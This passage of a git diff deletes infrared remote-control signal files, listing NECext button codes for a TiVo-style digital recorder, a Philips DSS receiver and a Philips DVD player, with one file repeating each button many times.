+++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 02 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 12 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER/JUMP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir deleted file mode 100644 index d79d4750c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DSS/39,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 20 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 21 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 5C 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 83 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir deleted file mode 100644 index a57292c1a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/DVD Player/4,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: OSD_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: SCREEN_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: T-C -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir deleted file mode 100644 index c79883908..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir +++ /dev/null @@ -1,1862 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 00 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 